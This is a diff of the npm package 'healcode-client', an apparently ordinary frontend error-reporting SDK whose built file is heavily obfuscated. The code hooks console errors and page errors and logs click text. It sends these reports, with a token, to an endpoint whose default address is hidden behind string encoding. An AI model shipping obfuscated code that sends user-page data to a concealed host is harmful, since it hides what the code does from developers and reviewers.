_0xa1400d<<_0x1ad355;},'PrFJM':function(_0x224dad,_0x2354cd){return _0x224dad&_0x2354cd;}};let _0x26aebc=_0x147a2d[_0x322578(0x175)](_0x3cc821,_0x147a2d[_0x322578(0x159)](_0x3a80b0,'')),_0x47d621=0x0;for(let _0x3168be=0x0;_0x147a2d[_0x322578(0x153)](_0x3168be,_0x26aebc[_0x322578(0x174)]);_0x3168be++){if(_0x147a2d['UQyex'](_0x322578(0x13e),'TxbCT')){let _0x3f823f={'type':_0x1d690c,'message':_0x428624,'timestamp':new _0x8785a7()['toISOString'](),'data':_0xa9c966};this[_0x322578(0xf6)][_0x322578(0x13b)](_0x3f823f),_0x147a2d[_0x322578(0x15b)](this[_0x322578(0xf6)][_0x322578(0x174)],this['config'][_0x322578(0x112)])&&this[_0x322578(0xf6)][_0x322578(0x11e)]();}else{let _0x17d03f=_0x26aebc['charCodeAt'](_0x3168be);_0x47d621=_0x147a2d[_0x322578(0x123)](_0x147a2d['QdTBY'](_0x47d621,0x5),_0x47d621)+_0x17d03f,_0x47d621=_0x147a2d[_0x322578(0xfd)](_0x47d621,_0x47d621);}}return _0x47d621[_0x322578(0x137)]();}async[a0_0x3aa169(0x148)](_0x4f4c57){const _0x1961d4=a0_0x3aa169,_0xa5316={'sKrBP':_0x1961d4(0x145),'lTcfL':_0x1961d4(0xfb),'DlrTZ':_0x1961d4(0xf4),'HLmfx':function(_0x193ea0,_0x4994fe){return _0x193ea0+_0x4994fe;},'TiLhr':function(_0x5d05fd,_0x1906cc,_0x48271f){return _0x5d05fd(_0x1906cc,_0x48271f);},'BXEWa':'application/json','hRgWZ':_0x1961d4(0x11d),'yfQzU':function(_0xa5fa65,_0x35a01b){return _0xa5fa65===_0x35a01b;},'RZdRq':'TUKAo','vEiXy':'coGhY','maWPS':_0x1961d4(0x150)};try{let _0x38f08d=this[_0x1961d4(0x129)]['endpoint'];!_0x38f08d[_0x1961d4(0x12b)](_0xa5316[_0x1961d4(0xf7)])&&!_0x38f08d[_0x1961d4(0x12b)](_0xa5316[_0x1961d4(0x114)])&&(_0x38f08d=_0xa5316[_0x1961d4(0x172)](_0x38f08d[_0x1961d4(0x117)](/\/$/,''),_0xa5316[_0x1961d4(0xf7)]));let _0x137c1d=await _0xa5316[_0x1961d4(0xf2)](fetch,_0x38f08d,{'method':_0x1961d4(0x15c),'headers':{'Content-Type':_0xa5316[_0x1961d4(0x124)],'X-HealCode-Token':this['config'][_0x1961d4(0xef)]},'body':JSON[_0x1961d4(0x10f)](_0x4f4c57),'keepalive':!0x0});_0x137c1d['ok']?console[_0x1961d4(0x12a)]('[HealCode]\x20Error\x20reported\x20successfully'):console[_0x1961d4(0x140)](_0xa5316['hRgWZ'],_0x137c1d[_0x1961d4(0x12d)]);}catch(_0x58b7b5){if(_0xa5316['yfQzU'](_0xa5316[_0x1961d4(0x13f)],_0xa5316[_0x1961d4(0xfe)])){const _0x28b8fe={'oCdXr':_0xa5316['sKrBP']};let _0x364889=_0x9e906c[_0x1961d4(0x145)];_0x240a0b[_0x1961d4(0x145)]=(..._0x15ee60)=>{const _0x242ca8=_0x1961d4;let _0x797998=_0x15ee60['map'](_0x309571=>typeof _0x309571==_0x242ca8(0x144)?_0x53fd1f[_0x242ca8(0x10f)](_0x309571):_0x6b0fe0(_0x309571))[_0x242ca8(0x173)]('\x20');this[_0x242ca8(0x136)](_0x28b8fe[_0x242ca8(0x157)],_0x797998),_0x364889[_0x242ca8(0x151)](_0x39936,_0x15ee60);};}else console[_0x1961d4(0x140)](_0xa5316[_0x1961d4(0x106)],_0x58b7b5);}}[a0_0x3aa169(0x138)](_0x4f3d5f){const _0x5cd0f6=a0_0x3aa169;this[_0x5cd0f6(0x129)][_0x5cd0f6(0x17e)]=_0x4f3d5f;}[a0_0x3aa169(0x118)](){return this['config']['enabled'];}},a=f(require('fs')),d=f(require(a0_0x3aa169(0x16a))),k=a0_0x3aa169(0x108);function S(_0x16fa9d=process[a0_0x3aa169(0x121)]()){const _0x225d44=a0_0x3aa169,_0x5b433a={'haoOi':function(_0x4f92c5,_0x756a81){return _0x4f92c5!==_0x756a81;}};let _0x545b43=_0x16fa9d;for(;_0x5b433a[_0x225d44(0x115)](_0x545b43,d[_0x225d44(0xfc)](_0x545b43));){let _0x17db12=d[_0x225d44(0x173)](_0x545b43,k);if(a[_0x225d44(0xfa)](_0x17db12))return _0x17db12;_0x545b43=d[_0x225d44(0xfc)](_0x545b43);}return null;}function p(_0x141c90){const _0x1a7ca5=a0_0x3aa169,_0x153beb={'oFkCd':'online','ZnxWH':'offline','kUZwX':_0x1a7ca5(0x162),'uArvn':function(_0x8b7ddf,_0x5665b7){return _0x8b7ddf===_0x5665b7;},'ssIZZ':_0x1a7ca5(0x17c),'Wqihg':_0x1a7ca5(0x170),'nTZJj':'[HealCode]\x20Failed\x20to\x20load\x20config:'};let _0x343c84=_0x141c90||S();if(!_0x343c84||!a[_0x1a7ca5(0xfa)](_0x343c84))return null;try{let _0x212c31=a['readFileSync'](_0x343c84,_0x153beb[_0x1a7ca5(0x11b)]);return JSON['parse'](_0x212c31);}catch(_0x43b530){if(_0x153beb[_0x1a7ca5(0x113)](_0x153beb[_0x1a7ca5(0x146)],_0x153beb[_0x1a7ca5(0x142)]))_0x3f59c9[_0x1a7ca5(0x141)](_0x153beb['oFkCd'],()=>this[_0x1a7ca5(0x125)](_0x1a7ca5(0xf9),_0x1a7ca5(0xf1),{'status':_0x1a7ca5(0x139)})),_0x3a6654[_0x1a7ca5(0x141)](_0x153beb[_0x1a7ca5(0x10e)],()=>this[_0x1a7ca5(0x125)](_0x1a7ca5(0xf9),'Connection\x20lost',{'status':_0x1a7ca5(0x120)}));else return console['error'](_0x153beb[_0x1a7ca5(0x109)],_0x43b530),null;}}function h(_0xd379b0){const _0x2a701a=a0_0x3aa169,_0x2b298b={'PFetS':_0x2a701a(0x167)};let _0x540d03=p(_0xd379b0);if(!_0x540d03)return console[_0x2a701a(0x140)](_0x2b298b[_0x2a701a(0x12e)]),null;let _0x3e3c19={'token':_0x540d03[_0x2a701a(0xef)],'endpoint':_0x540d03[_0x2a701a(0x107)],'enabled':_0x540d03[_0x2a701a(0x17e)],'captureConsoleErrors':_0x540d03[_0x2a701a(0x163)]?.[_0x2a701a(0xf3)],'captureUnhandledRejections':_0x540d03[_0x2a701a(0x163)]?.[_0x2a701a(0x12c)],'maxBreadcrumbs':_0x540d03[_0x2a701a(0x163)]?.[_0x2a701a(0x112)]};return new s(_0x3e3c19);}0x0&&(module[a0_0x3aa169(0x171)]={'HealCode':HealCode,'initFromConfig':initFromConfig,'loadConfig':loadConfig});
1
+ 'use strict';function a0_0x4804(){const _0x18566b=['z2v0uhjVDg90ExbLt2y','ndKWmdDMzK9ZwKC','q2XPy2TLzcbVBIa','DgDOzxu','zgT4z3y','ywrKrxzLBNrmAxn0zw5LCG','odu3mJaXmefyzfnWDq','AhjLzG','zxHPC3rZu3LUyW','wevsv1q','A2Lvrw0','yxbWBhK','zxHWB3j0CW','ntGYAfncruz5','zw5KC1DPDgG','BwfW','DxnLCKfNzw50','uunJCey','DgzQtMS','CwHbwhu','B2fREfe','yxbWBgLJyxrPB24VANnVBG','DvHiC1y','C2HPzNq','s2L2s3e','B2jQzwn0','zhHos2y','mZqXmZm0mffTD05UAG','AM9PBG','CMrHEMO','CMvHzezPBgvtEw5J','zw5HyMXLza','Ahr0Chm6lY9WCMvWywLKlxrYAwjHBc1PBNzPDgvKlwvUzY50CNLJBg91zgzSyxjLlMnVBq','Dg9Rzw4','DgfYz2v0','y2XPy2S','yKnnqwm','y29UzMLN','y2fWDhvYzunVBNnVBgvfCNjVCNm','Aw50zxjJzxb0vw5Oyw5KBgvKuMvQzwn0Aw9UCW','w0HLywXdB2rLxsbfCNjVCIbYzxbVCNrLzcbZDwnJzxnZzNvSBhK','B25mAw5L','l2fWAs9SB2DZlW','Aw5PDa','AfjWDMK','BMvtuLi','C3rHDhvZ','ywrKqNjLywrJCNvTyG','mJmXmZy4nJr4BfnkAKm','rgXNtxe','BgvUz3rO','sLD1uwS','Dg9ju09tDhjPBMC','C2vUza','DgfNtMfTzq','ChjVDg90ExbL','x19LC01VzhvSzq','zw1kwNG','ug9VrfC','AgfZ','yMvMB3jLu2vUza','Aw50zxjJzxb0q29UC29Szq','ue9tva','zw55Dg0','B2zMBgLUzq','C3vIC3rYAw5N','y2fWDhvYzvvUAgfUzgXLzfjLAMvJDgLVBNm','ALv4vNe','zxrkrwO','Aw5PDgLHBgL6zwq','zKjrrvu','y2fWDhvYzq','zuDWBee','B25LCNjVCG','CKvdtw0','zLvNBgy','C2v0Dxbozxr3B3jRtgLZDgvUzxjZ','y2XHC3noyw1L','Bg9JyxrPB24','ChvZAa','vfDIvfK','C2v0rw5HyMXLza','CMvWBgfJzq','mZyYodqWn0LvyxfLzW','AgvHBgnVzguUy29UzMLNlMPZB24','y3DK','v2vSs0q','yNjLywrJCNvTyNm','zNvUy3rPB24','C3rHy2S','w0HLywXdB2rLxsbgywLSzwqGDg8GCMvWB3j0igvYCM9YoG','qLfLDwq','w0HLywXdB2rLxsboBYbJB25MAwCGzMLSzsbMB3vUzc4GuNvUigbUChGGAgvHBgnVzguGAw5PDgaGDg8GC2v0ihvWlG','B25SAw5L','CMP6C1i','z2vUzxjHDgviyxnO','y1njz3K','D2fYBG','zw51BwvYywjSzq','q29UBMvJDgLVBIbSB3n0','CMvHC29U','s1rLshm','AgfZt3DUuhjVCgvYDhK','Ce5YzuS','ywrK','w0HLywXdB2rLxsbgywLSzwqGDg8GBg9HzcbJB25MAwC6','C2v0DxbjBNrLCMfJDgLVBKXPC3rLBMvYCW','zgvMyxvSDa','zgvSzxrL','mZqYodiWnLLezNzSDW','Aw50zxjJzxb0v2LUzg93rxjYB3jZ','DfPdseK','zxjYB3i','AMP5v0W','zgvMAw5LuhjVCgvYDhK','wwjktKC','vw5Oyw5KBgvKifjLAMvJDgLVBJOG','zgLYBMfTzq','B3b0Aw9UCW','CM9utfu','B251BMHHBMrSzwrYzwPLy3rPB24','mta3nJu2m3HkDhDLwG','C3rYAw5N','t2HmyLq','q05Rzfa','BMv0D29YAW','AxnfBMfIBgvK','w0HLywXdB2rLxsbjBML0AwfSAxPLzcbZDwnJzxnZzNvSBhK','C3rYAw5NAwz5','Bg9N','sLvAywe','Cgf0Aa','zw5KCg9PBNq','C2vUDeHHC2HLCW','DwKUy2XPy2S','CvvsyMu','l2fWAs9SB2DZ','vw5RBM93BIbLCNjVCG','zLbUAvK','igf0ia','Bwf4qNjLywrJCNvTyNm'];a0_0x4804=function(){return _0x18566b;};return a0_0x4804();}const a0_0x4ee699=a0_0x520a;(function(_0x3ba65f,_0x332da2){const _0x3ece7b=a0_0x520a,_0x34c5a7=_0x3ba65f();while(!![]){try{const _0x4b3de0=parseInt(_0x3ece7b(0x21d))/0x1+parseInt(_0x3ece7b(0x211))/0x2+parseInt(_0x3ece7b(0x1f7))/0x3+parseInt(_0x3ece7b(0x1bf))/0x4+-parseInt(_0x3ece7b(0x237))/0x5+-parseInt(_0x3ece7b(0x23e))/0x6*(-parseInt(_0x3ece7b(0x232))/0x7)+-parseInt(_0x3ece7b(0x1d4))/0x8;if(_0x4b3de0===_0x332da2)break;else _0x34c5a7['push'](_0x34c5a7['shift']());}catch(_0xe62c76){_0x34c5a7['push'](_0x34c5a7['shift']());}}}(a0_0x4804,0xe2169));function a0_0x520a(_0x72fe65,_0x388c69){_0x72fe65=_0x72fe65-0x1ba;const _0x4804c5=a0_0x4804();let _0x520aa4=_0x4804c5[_0x72fe65];if(a0_0x520a['MhwHds']===undefined){var _0x37eab3=function(_0x2e67a1){const _0x46eadc='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2c21b2='',_0x1212d8='';for(let _0x758565=0x0,_0x37d89c,_0x4cc608,_0x236259=0x0;_0x4cc608=_0x2e67a1['charAt'](_0x236259++);~_0x4cc608&&(_0x37d89c=_0x758565%0x4?_0x37d89c*0x40+_0x4cc608:_0x4cc608,_0x758565++%0x4)?_0x2c21b2+=String['fromCharCode'](0xff&_0x37d89c>>(-0x2*_0x758565&0x6)):0x0){_0x4cc608=_0x46eadc['indexOf'](_0x4cc608);}for(let _0x37583c=0x0,_0xf8ecc5=_0x2c21b2['length'];_0x37583c<_0xf8ecc5;_0x37583c++){_0x1212d8+='%'+('00'+_0x2c21b2['charCodeAt'](_0x37583c)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1212d8);};a0_0x520a['eQCWKp']=_0x37eab3,a0_0x520a['OXDpbF']={},a0_0x520a['MhwHds']=!![];}const _0x493b8a=_0x4804c5[0x0],_0x2ed189=_0x72fe65+_0x493b8a,_0x1409ee=a0_0x520a['OXDpbF'][_0x2ed189];return!_0x1409ee?(_0x520aa4=a0_0x520a['eQCWKp'](_0x520aa4),a0_0x520a['OXDpbF'][_0x2ed189]=_0x520aa4):_0x520aa4=_0x1409ee,_0x520aa4;}var C=Object['create'],l=Object[a0_0x4ee699(0x216)],m=Object['getOwnPropertyDescriptor'],b=Object['getOwnPropertyNames'],w=Object[a0_0x4ee699(0x231)],H=Object[a0_0x4ee699(0x1db)][a0_0x4ee699(0x20a)],v=(_0x1e5b5a,_0x14aa45)=>{const _0x37a663=a0_0x4ee699,_0x5621a1={'dxNKf':function(_0x524721,_0xd7bc9d,_0x704018,_0x4fc95a){return _0x524721(_0xd7bc9d,_0x704018,_0x4fc95a);}};for(var _0x8e882f in _0x14aa45)_0x5621a1[_0x37a663(0x1be)](l,_0x1e5b5a,_0x8e882f,{'get':_0x14aa45[_0x8e882f],'enumerable':!0x0});},u=(_0x301c84,_0x46c4d8,_0x25a418,_0x39b907)=>{const _0x1943fb=a0_0x4ee699,_0x5a7674={'tgheu':function(_0x37c7c5,_0x129c1b){return _0x37c7c5==_0x129c1b;},'neSRR':_0x1943fb(0x1bd),'QCcpF':_0x1943fb(0x1fc),'Nbdmv':function(_0x7a6b17,_0x3613a7){return _0x7a6b17(_0x3613a7);},'jUxVq':function(_0x1943db,_0x364854){return _0x1943db!==_0x364854;},'enytm':function(_0x3129cc,_0x26cf28,_0x50bfe8,_0x4c9946){return _0x3129cc(_0x26cf28,_0x50bfe8,_0x4c9946);},'hRpvi':function(_0x955843,_0x52fc66,_0x593ed6){return _0x955843(_0x52fc66,_0x593ed6);}};if(_0x46c4d8&&_0x5a7674[_0x1943fb(0x234)](typeof _0x46c4d8,_0x5a7674[_0x1943fb(0x1d1)])||typeof _0x46c4d8==_0x5a7674[_0x1943fb(0x242)]){for(let _0x90daff of _0x5a7674['Nbdmv'](b,_0x46c4d8))!H['call'](_0x301c84,_0x90daff)&&_0x5a7674[_0x1943fb(0x1e7)](_0x90daff,_0x25a418)&&_0x5a7674[_0x1943fb(0x1e3)](l,_0x301c84,_0x90daff,{'get':()=>_0x46c4d8[_0x90daff],'enumerable':!(_0x39b907=_0x5a7674[_0x1943fb(0x1d0)](m,_0x46c4d8,_0x90daff))||_0x39b907[_0x1943fb(0x206)]});}return _0x301c84;},f=(_0x10541e,_0x15a5be,_0x283663)=>(_0x283663=_0x10541e!=null?C(w(_0x10541e)):{},u(_0x15a5be||!_0x10541e||!_0x10541e[a0_0x4ee699(0x1dc)]?l(_0x283663,a0_0x4ee699(0x20f),{'value':_0x10541e,'enumerable':!0x0}):_0x283663,_0x10541e)),y=_0x5e7d5a=>u(l({},a0_0x4ee699(0x1dc),{'value':!0x0}),_0x5e7d5a),N={};v(N,{'HealCode':()=>s,'initFromConfig':()=>h,'loadConfig':()=>p}),module[a0_0x4ee699(0x23d)]=y(N);var g=a0_0x4ee699(0x1c4),E=g+a0_0x4ee699(0x1ce),x=0x14,s=class{constructor(_0x4566d6){const _0x4c7743=a0_0x4ee699,_0x5473f0={'DlgMq':function(_0x5b18d9,_0x191da5){return _0x5b18d9!==_0x191da5;},'eGplA':function(_0x33ad23,_0x31d155){return _0x33ad23!==_0x31d155;},'cSIgy':function(_0xe07c0d,_0x4b870c){return _0xe07c0d<_0x4b870c;}};this[_0x4c7743(0x1fb)]=[],this[_0x4c7743(0x229)]=new Set(),this[_0x4c7743(0x1e9)]=!0x1,(this[_0x4c7743(0x1c9)]={'token':_0x4566d6[_0x4c7743(0x1c5)],'endpoint':_0x4566d6[_0x4c7743(0x228)]||E,'enabled':_0x5473f0[_0x4c7743(0x1d5)](_0x4566d6[_0x4c7743(0x1c3)],!0x1),'captureConsoleErrors':_0x5473f0['eGplA'](_0x4566d6[_0x4c7743(0x1ca)],!0x1),'captureUnhandledRejections':_0x5473f0[_0x4c7743(0x1ec)](_0x4566d6[_0x4c7743(0x1e6)],!0x1),'maxBreadcrumbs':_0x4566d6[_0x4c7743(0x230)]||x,'beforeSend':_0x4566d6[_0x4c7743(0x1e0)]},this[_0x4c7743(0x1c9)]['enabled']&&_0x5473f0[_0x4c7743(0x204)](typeof window,'u')&&this[_0x4c7743(0x1cf)]());}[a0_0x4ee699(0x1cf)](){const _0xe5e17f=a0_0x4ee699;this['initialized']||(this[_0xe5e17f(0x1e9)]=!0x0,this[_0xe5e17f(0x1f0)](),this['setupInteractionListeners'](),this[_0xe5e17f(0x1c9)]['captureConsoleErrors']&&this['interceptConsole'](),this[_0xe5e17f(0x212)](),this[_0xe5e17f(0x1c9)][_0xe5e17f(0x1e6)]&&this[_0xe5e17f(0x1cb)](),console[_0xe5e17f(0x225)](_0xe5e17f(0x223)));}['setupNetworkListeners'](){const _0x494760=a0_0x4ee699,_0x1a6636={'tZCHI':_0x494760(0x201),'jjyWL':_0x494760(0x1e4)};window['addEventListener'](_0x1a6636[_0x494760(0x213)],()=>this['addBreadcrumb'](_0x494760(0x221),'Connection\x20restored',{'status':_0x494760(0x201)})),window[_0x494760(0x236)](_0x1a6636[_0x494760(0x215)],()=>this['addBreadcrumb'](_0x494760(0x221),_0x494760(0x207),{'status':'offline'}));}[a0_0x4ee699(0x20e)](){const _0x3b464e=a0_0x4ee699,_0x4f6c05={'nqftw':_0x3b464e(0x22a),'BAyAj':_0x3b464e(0x1c7)};document[_0x3b464e(0x236)](_0x4f6c05['BAyAj'],_0x395a45=>{const _0xdc264f=_0x3b464e;let _0x3668e8=_0x395a45[_0xdc264f(0x1c6)];this[_0xdc264f(0x1d3)](_0x4f6c05['nqftw'],_0xdc264f(0x233)+_0x3668e8[_0xdc264f(0x1da)],{'id':_0x3668e8['id']||void 0x0,'className':_0x3668e8[_0xdc264f(0x1f1)]||void 0x0,'text':_0x3668e8['innerText']?.[_0xdc264f(0x1e5)](0x0,0x32)||void 0x0});},!0x0);}[a0_0x4ee699(0x1e1)](){const _0x4b25ab=a0_0x4ee699;let _0x2d7516=console[_0x4b25ab(0x214)];console['error']=(..._0x2425b5)=>{const _0x1e54cf=_0x4b25ab;let _0x6aa0c4=_0x2425b5[_0x1e54cf(0x240)](_0x3f990a=>typeof _0x3f990a==_0x1e54cf(0x1bd)?JSON[_0x1e54cf(0x224)](_0x3f990a):String(_0x3f990a))['join']('\x20');this[_0x1e54cf(0x1eb)]('error',_0x6aa0c4),_0x2d7516['apply'](console,_0x2425b5);};}[a0_0x4ee699(0x212)](){const _0x30c4cb=a0_0x4ee699,_0x559b32={'rdazj':function(_0x3e021d,_0x49a607){return _0x3e021d!==_0x49a607;},'KivKq':_0x30c4cb(0x21b),'tfjNk':_0x30c4cb(0x1c8),'RzlKh':_0x30c4cb(0x21e),'BQeud':_0x30c4cb(0x214)};window[_0x30c4cb(0x1ed)]=(_0x45d43f,_0x13ec14,_0x558165,_0x35008e,_0x5eea3e)=>{const _0x56b7cd=_0x30c4cb;if(_0x559b32[_0x56b7cd(0x1c1)](_0x559b32[_0x56b7cd(0x1bc)],_0x559b32[_0x56b7cd(0x243)])){let _0x27920f=typeof _0x45d43f==_0x559b32['RzlKh']?_0x45d43f:_0x56b7cd(0x22d);this[_0x56b7cd(0x1eb)](_0x559b32[_0x56b7cd(0x1ff)],_0x27920f+_0x56b7cd(0x22f)+_0x13ec14+':'+_0x558165+':'+_0x35008e,_0x5eea3e?.[_0x56b7cd(0x1fd)]);}else{let _0x27bf17=_0x16f1d7['error'];_0x22e4a5[_0x56b7cd(0x214)]=(..._0x27db7f)=>{const _0x22fc4f=_0x56b7cd;let _0x5bc693=_0x27db7f['map'](_0x35bfbb=>typeof _0x35bfbb==_0x22fc4f(0x1bd)?_0x3e16df[_0x22fc4f(0x224)](_0x35bfbb):_0xf0755(_0x35bfbb))['join']('\x20');this['capture'](_0x22fc4f(0x214),_0x5bc693),_0x27bf17[_0x22fc4f(0x23c)](_0xd4c676,_0x27db7f);};}};}[a0_0x4ee699(0x1cb)](){const _0x115c69=a0_0x4ee699,_0x54829d={'pNreK':'error'};window[_0x115c69(0x21c)]=_0x7c44e7=>{const _0x3efccb=_0x115c69;this['capture'](_0x54829d[_0x3efccb(0x20b)],_0x3efccb(0x218)+_0x7c44e7['reason']);};}[a0_0x4ee699(0x1d3)](_0x2ed255,_0x2791b8,_0x39e6d3){const _0x35ad70=a0_0x4ee699,_0x1656e9={'oakxQ':function(_0x9b9dd3,_0x6b2ed7){return _0x9b9dd3>_0x6b2ed7;}};let _0x368487={'type':_0x2ed255,'message':_0x2791b8,'timestamp':new Date()[_0x35ad70(0x1d8)](),'data':_0x39e6d3};this['breadcrumbs'][_0x35ad70(0x1f3)](_0x368487),_0x1656e9[_0x35ad70(0x245)](this[_0x35ad70(0x1fb)]['length'],this[_0x35ad70(0x1c9)]['maxBreadcrumbs'])&&this[_0x35ad70(0x1fb)][_0x35ad70(0x1bb)]();}['capture'](_0x5bfcbd,_0x41fed9,_0x1898ac){const _0x5422b2=a0_0x4ee699,_0x593e19={'XERWT':function(_0x91319b,_0x2b9f99,_0x3e9c62){return _0x91319b(_0x2b9f99,_0x3e9c62);},'kiUEm':function(_0x47d606,_0x59551f){return _0x47d606*_0x59551f;},'emJZx':_0x5422b2(0x201),'fPniY':_0x5422b2(0x1e4)};if(!this['config']['enabled'])return;let _0x3cfacd=this[_0x5422b2(0x203)](_0x41fed9,_0x1898ac);if(this[_0x5422b2(0x229)][_0x5422b2(0x1df)](_0x3cfacd))return;this[_0x5422b2(0x229)][_0x5422b2(0x20c)](_0x3cfacd),_0x593e19[_0x5422b2(0x23a)](setTimeout,()=>this[_0x5422b2(0x229)][_0x5422b2(0x210)](_0x3cfacd),_0x593e19[_0x5422b2(0x23b)](0x12c,0x3e8));let _0x40bc30={'token':this[_0x5422b2(0x1c9)][_0x5422b2(0x1c5)],'message':_0x41fed9,'stacktrace':_0x1898ac,'url':window[_0x5422b2(0x1f2)][_0x5422b2(0x238)],'level':_0x5bfcbd,'userAgent':navigator[_0x5422b2(0x241)],'networkStatus':navigator[_0x5422b2(0x1cd)]?_0x593e19[_0x5422b2(0x1dd)]:_0x593e19[_0x5422b2(0x22e)],'breadcrumbs':[...this[_0x5422b2(0x1fb)]],'timestamp':new Date()[_0x5422b2(0x1d8)]()};this['config']['beforeSend']&&(_0x40bc30=this[_0x5422b2(0x1c9)][_0x5422b2(0x1e0)](_0x40bc30),!_0x40bc30)||this[_0x5422b2(0x1d9)](_0x40bc30);}[a0_0x4ee699(0x203)](_0x52fc40,_0x4aefa7){const _0xe96ef3=a0_0x4ee699,_0x5d52dd={'JUZaa':function(_0x2107bf,_0x421dc3){return _0x2107bf+_0x421dc3;},'rECMm':function(_0x5d3f0f,_0x3204e0){return _0x5d3f0f<_0x3204e0;},'WelKD':function(_0x4423ac,_0x8e695f){return _0x4423ac+_0x8e695f;},'BkViD':function(_0x200034,_0x15b4d6){return _0x200034-_0x15b4d6;},'OhLbT':function(_0x1bd567,_0x2caee1){return _0x1bd567<<_0x2caee1;}};let _0x2f65a9=_0x5d52dd[_0xe96ef3(0x226)](_0x52fc40,_0x4aefa7||''),_0x2fb53a=0x0;for(let _0x176062=0x0;_0x5d52dd[_0xe96ef3(0x1ee)](_0x176062,_0x2f65a9[_0xe96ef3(0x1d6)]);_0x176062++){let _0x2a2eaf=_0x2f65a9['charCodeAt'](_0x176062);_0x2fb53a=_0x5d52dd[_0xe96ef3(0x1fa)](_0x5d52dd['BkViD'](_0x5d52dd[_0xe96ef3(0x21f)](_0x2fb53a,0x5),_0x2fb53a),_0x2a2eaf),_0x2fb53a=_0x2fb53a&_0x2fb53a;}return _0x2fb53a['toString']();}async[a0_0x4ee699(0x1d9)](_0x16d7e5){const _0x53b34c=a0_0x4ee699,_0x18b385={'rjzsR':'error','TWbTY':'/api/logs/','PooDW':_0x53b34c(0x22c),'JWuQk':function(_0x217fbf,_0x94f6c8){return _0x217fbf+_0x94f6c8;},'rUZCi':function(_0x20e570,_0x48ac51,_0x51e4e8){return _0x20e570(_0x48ac51,_0x51e4e8);},'qhAXu':_0x53b34c(0x1e2),'KTeHs':_0x53b34c(0x246),'KcBBD':_0x53b34c(0x1fe),'rvWuW':function(_0x5ce50c,_0x55c6f1){return _0x5ce50c!==_0x55c6f1;},'etJEj':'YbJNG','nHNqo':'[HealCode]\x20Network\x20error:'};try{let _0x16fc9d=this[_0x53b34c(0x1c9)]['endpoint'];!_0x16fc9d[_0x53b34c(0x23f)](_0x18b385[_0x53b34c(0x1f4)])&&!_0x16fc9d[_0x53b34c(0x23f)](_0x18b385[_0x53b34c(0x1de)])&&(_0x16fc9d=_0x18b385[_0x53b34c(0x1d7)](_0x16fc9d[_0x53b34c(0x1f6)](/\/$/,''),_0x18b385[_0x53b34c(0x1f4)]));let _0xf26246=await _0x18b385['rUZCi'](fetch,_0x16fc9d,{'method':_0x18b385[_0x53b34c(0x244)],'headers':{'Content-Type':_0x18b385[_0x53b34c(0x209)],'X-HealCode-Token':this[_0x53b34c(0x1c9)]['token']},'body':JSON[_0x53b34c(0x224)](_0x16d7e5),'keepalive':!0x0});_0xf26246['ok']?console[_0x53b34c(0x225)](_0x53b34c(0x1cc)):console[_0x53b34c(0x205)](_0x18b385['KcBBD'],_0xf26246[_0x53b34c(0x1d2)]);}catch(_0x56db3b){_0x18b385['rvWuW'](_0x18b385[_0x53b34c(0x1e8)],_0x53b34c(0x217))?this[_0x53b34c(0x1eb)](_0x18b385[_0x53b34c(0x202)],_0x53b34c(0x218)+_0x5a1b23[_0x53b34c(0x208)]):console[_0x53b34c(0x205)](_0x18b385['nHNqo'],_0x56db3b);}}[a0_0x4ee699(0x1f5)](_0x389426){const _0x35fb04=a0_0x4ee699;this[_0x35fb04(0x1c9)][_0x35fb04(0x1c3)]=_0x389426;}[a0_0x4ee699(0x222)](){const _0x2b566f=a0_0x4ee699;return this[_0x2b566f(0x1c9)][_0x2b566f(0x1c3)];}},a=f(require('fs')),d=f(require(a0_0x4ee699(0x227))),k=a0_0x4ee699(0x1f8);function S(_0x423c0c=process[a0_0x4ee699(0x1f9)]()){const _0x4d3e3e=a0_0x4ee699;let _0x150822=_0x423c0c;for(;_0x150822!==d[_0x4d3e3e(0x219)](_0x150822);){let _0x47468f=d[_0x4d3e3e(0x1c0)](_0x150822,k);if(a[_0x4d3e3e(0x239)](_0x47468f))return _0x47468f;_0x150822=d[_0x4d3e3e(0x219)](_0x150822);}return null;}function p(_0x39352c){const _0x423e17=a0_0x4ee699,_0xc77d5f={'fBQEU':_0x423e17(0x214),'dkxgv':function(_0x42f3ae){return _0x42f3ae();},'APsBu':function(_0xed522b,_0x124665){return _0xed522b!==_0x124665;},'CNkdP':_0x423e17(0x22b)};let _0x3dff86=_0x39352c||_0xc77d5f[_0x423e17(0x235)](S);if(!_0x3dff86||!a[_0x423e17(0x239)](_0x3dff86))return null;try{if(_0xc77d5f['APsBu'](_0xc77d5f['CNkdP'],_0xc77d5f[_0x423e17(0x220)])){let _0x290068=_0x1452ac[_0x423e17(0x240)](_0x40c4d5=>typeof _0x40c4d5==_0x423e17(0x1bd)?_0x5c1b71[_0x423e17(0x224)](_0x40c4d5):_0xc32fc4(_0x40c4d5))[_0x423e17(0x1c0)]('\x20');this['capture'](_0xc77d5f[_0x423e17(0x1ea)],_0x290068),_0x7d3109['apply'](_0x5ba420,_0xcd99c3);}else{let _0x1229b0=a[_0x423e17(0x1c2)](_0x3dff86,'utf-8');return JSON['parse'](_0x1229b0);}}catch(_0x4c5fc0){return console[_0x423e17(0x214)](_0x423e17(0x20d),_0x4c5fc0),null;}}function h(_0x5d82aa){const _0x2aaf8d=a0_0x4ee699,_0x5d7565={'fUglf':function(_0x37a88c,_0x1ee4d4){return _0x37a88c(_0x1ee4d4);},'uXHsV':_0x2aaf8d(0x200)};let _0x47ddc2=_0x5d7565[_0x2aaf8d(0x1ef)](p,_0x5d82aa);if(!_0x47ddc2)return console['warn'](_0x5d7565[_0x2aaf8d(0x1ba)]),null;let _0x1a87ed={'token':_0x47ddc2[_0x2aaf8d(0x1c5)],'endpoint':_0x47ddc2[_0x2aaf8d(0x228)],'enabled':_0x47ddc2['enabled'],'captureConsoleErrors':_0x47ddc2[_0x2aaf8d(0x21a)]?.['captureConsoleErrors'],'captureUnhandledRejections':_0x47ddc2['options']?.['captureUnhandledRejections'],'maxBreadcrumbs':_0x47ddc2[_0x2aaf8d(0x21a)]?.[_0x2aaf8d(0x230)]};return new s(_0x1a87ed);}0x0&&(module['exports']={'HealCode':HealCode,'initFromConfig':initFromConfig,'loadConfig':loadConfig});
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "healcode-client",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "HealCode - Automatic error detection and fix generation for your frontend projects",
5
5
  "main": "dist/index.js",
6
6
  "module": "dist/index.mjs",